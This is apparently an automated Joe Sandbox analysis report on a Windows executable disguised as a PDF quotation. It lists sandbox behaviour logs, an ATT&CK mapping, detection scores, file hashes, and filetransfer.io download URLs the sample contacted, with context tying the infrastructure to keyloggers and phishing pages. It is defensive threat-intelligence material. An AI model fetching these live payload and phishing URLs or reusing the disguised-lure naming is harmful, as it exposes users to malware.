Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596376	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe	Thread delayed: delay time: 593993	Jump to behavior

Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4139460949.000002105CCEC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Queries volume information: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QUOTATION_OCTQTRA071244PDF.scr.exe	24%	ReversingLabs	Win64.Trojan.Generic
QUOTATION_OCTQTRA071244PDF.scr.exe	37%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
filetransfer.io	1%	Virustotal		Browse
s23.filetransfer.io	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://s23.filetransfer.io	1%	Virustotal		Browse
http://filetransfer.io/data-package/eZFzMENr/download	1%	Virustotal		Browse
https://s23.filetransfer.io	1%	Virustotal		Browse
https://filetransfer.io	2%	Virustotal		Browse
http://filetransfer.io	1%	Virustotal		Browse
https://filetransfer.io/data-package/eZFzMENr/download	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
filetransfer.io	188.114.96.3	true	false	1%, Virustotal, Browse	unknown
s23.filetransfer.io	188.114.97.3	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://filetransfer.io/data-package/eZFzMENr/download	false	1%, Virustotal, Browse	unknown
https://s23.filetransfer.io/storage/download/ZRP1AkSP9kG2	false		unknown
https://s23.filetransfer.io/storage/download/EYxNoMbJWmad	false		unknown
https://s23.filetransfer.io/storage/download/UHZCmkCE5dCM	false		unknown
https://s23.filetransfer.io/storage/download/T4jQBjNxmaAP	false		unknown
https://s23.filetransfer.io/storage/download/goqkE17IMIu9	false		unknown
https://s23.filetransfer.io/storage/download/LnCn4Sq9X9QI	false		unknown
https://s23.filetransfer.io/storage/download/FMdaPuCZHHPj	false		unknown
https://s23.filetransfer.io/storage/download/JLKER12CLEEH	false		unknown
https://s23.filetransfer.io/storage/download/8d0YtsDOnedA	false		unknown
https://s23.filetransfer.io/storage/download/RQn9FsWdafFG	false		unknown
https://s23.filetransfer.io/storage/download/EobBo452Hdxh	false		unknown
https://s23.filetransfer.io/storage/download/FdQTbjLkThhR	false		unknown
https://s23.filetransfer.io/storage/download/4CRE38zxXqXG	false		unknown
https://s23.filetransfer.io/storage/download/yGXCKBDIQrAq	false		unknown
https://s23.filetransfer.io/storage/download/9QRVQG14oBWg	false		unknown
https://s23.filetransfer.io/storage/download/sHIqABNcW3Ed	false		unknown
https://s23.filetransfer.io/storage/download/hCsyUwJb1Z1u	false		unknown
https://s23.filetransfer.io/storage/download/9EV86OzjvzKc	false		unknown
https://s23.filetransfer.io/storage/download/sI6TJT4vJ3Bm	false		unknown
https://s23.filetransfer.io/storage/download/C8OPC9MoIN8L	false		unknown
https://s23.filetransfer.io/storage/download/FecmNNRs2mj0	false		unknown
https://s23.filetransfer.io/storage/download/qr9THGkhopIj	false		unknown
https://s23.filetransfer.io/storage/download/8hFS5k720mAD	false		unknown
https://s23.filetransfer.io/storage/download/a6rLoYyAawaq	false		unknown
https://s23.filetransfer.io/storage/download/60jvYrdp5AfK	false		unknown
https://filetransfer.io/data-package/eZFzMENr/download	false	1%, Virustotal, Browse	unknown
https://s23.filetransfer.io/storage/download/rNUQbvqXCkvY	false		unknown
https://s23.filetransfer.io/storage/download/oU6fOMiuNfFu	false		unknown
https://s23.filetransfer.io/storage/download/rF55DMjHHO7R	false		unknown
https://s23.filetransfer.io/storage/download/VzWqBQCvAaEg	false		unknown
https://s23.filetransfer.io/storage/download/UOzJ7nwkJVlJ	false		unknown
https://s23.filetransfer.io/storage/download/TSnbub9PBiUP	false		unknown
https://s23.filetransfer.io/storage/download/faOOXr9t1pNr	false		unknown
https://s23.filetransfer.io/storage/download/9R6i4hkSrRN5	false		unknown
https://s23.filetransfer.io/storage/download/5LUME3vteHCP	false		unknown
https://s23.filetransfer.io/storage/download/f5l4KzAPcLFN	false		unknown
https://s23.filetransfer.io/storage/download/KrgAyDYAYOu9	false		unknown
https://s23.filetransfer.io/storage/download/WRMLI4CLhfdR	false		unknown
https://s23.filetransfer.io/storage/download/h6my69Vdddiu	false		unknown
https://s23.filetransfer.io/storage/download/5ERBgCCUdqAJ	false		unknown
https://s23.filetransfer.io/storage/download/JNVqWjkJZeyM	false		unknown
https://s23.filetransfer.io/storage/download/XKE7H4fnB1y6	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://s23.filetransfer.io	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E91A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://filetransfer.io/data-package/eZFzMENr	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB25000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA79000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://s23.filetransfer.io	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E999000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E91A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://s23.filetrP	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://filetransfer.io	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB25000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E82A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://filetransfer.io	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E95F000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E791000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://filetransfer.ioX	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://s23.filetrPX	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://filetransfer.io(	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://s23.filetransfer.iox	QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	s23.filetransfer.io	European Union		13335	CLOUDFLARENETUS	false
188.114.96.3	filetransfer.io	European Union		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525546
Start date and time:	2024-10-04 11:21:54 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION_OCTQTRA071244PDF.scr.exe
Detection:	MAL
Classification:	mal56.winEXE@1/0@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 3 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target QUOTATION_OCTQTRA071244PDF.scr.exe, PID 7484 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:22:48	API Interceptor	13248832x Sleep call for process: QUOTATION_OCTQTRA071244PDF.scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	https://technopro-bg.com/redirect.php?action=url&goto=mairie-espondeilhan.com&osCsid=m24rb0l158b8m36rktotvg5ti2	Get hash	malicious	HTMLPhisher	Browse	mairie-espondeilhan.com/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
188.114.96.3	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	docs.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	wwvmicrosx.live/office365/office_cookies/main/
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	fitur-dana-terbaru-2024.pages.dev/favicon.ico
	http://mobilelegendsmycode.com/	Get hash	malicious	Unknown	Browse	mobilelegendsmycode.com/favicon.ico
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s23.filetransfer.io	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Advice-BG_EDG9502024082400480004_5944_246#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	Purchase Order JJ023639PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3
filetransfer.io	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Payment Advice Note.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://iasitvlife.ro	Get hash	malicious	Unknown	Browse	104.17.25.14
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://iasitvlife.ro/stiri/local/a-sunat-la-call-center-anticoruptie-si-a-denuntat-un-functionar-public/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	Payment Advice Note.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://iasitvlife.ro	Get hash	malicious	Unknown	Browse	104.17.25.14
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://iasitvlife.ro/stiri/local/a-sunat-la-call-center-anticoruptie-si-a-denuntat-un-functionar-public/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Payment Advice Note.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3 188.114.96.3
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3 188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3 188.114.96.3
	Transfer.lnk	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3 188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Pago1032024.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Confirmation transfer AGS # 03-10-24.scr.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3 188.114.96.3
	QUOTATIONS#08671.exe	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.455061524107389
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	QUOTATION_OCTQTRA071244PDF.scr.exe
File size:	1'929'216 bytes
MD5:	cbd14bdffd1cd9896494f1fff3c4e701
SHA1:	9ed35936b580f0ad106c15e19ab71ce809b199f4
SHA256:	8f1a01a7621e8af1b08389b730f3688ff5f7c6cdab68e419c53a41cdea0819fd
SHA512:	3c4e0b98d83ad56a78c0c6160fa7e7156e7caa422c999c58c8e77e7fdb5462319f62361994b247453595131c56f55c572512df539d00f5cc73312cba57af2cd1
SSDEEP:	24576:Ue1/xW0iOeJnK02MOcDjCExrEETwQ7bwMIz35:UI/xhiOenx/bo
TLSH:	F695F548B394EF23D52F6676E5A540B04B23CC42DF8267C76590BDF07E36794190A2EB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...uO.f.........."...................... ....@...... ....................................`...@......@............... .....

File Icon


Icon Hash:	2d525272484c550b

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
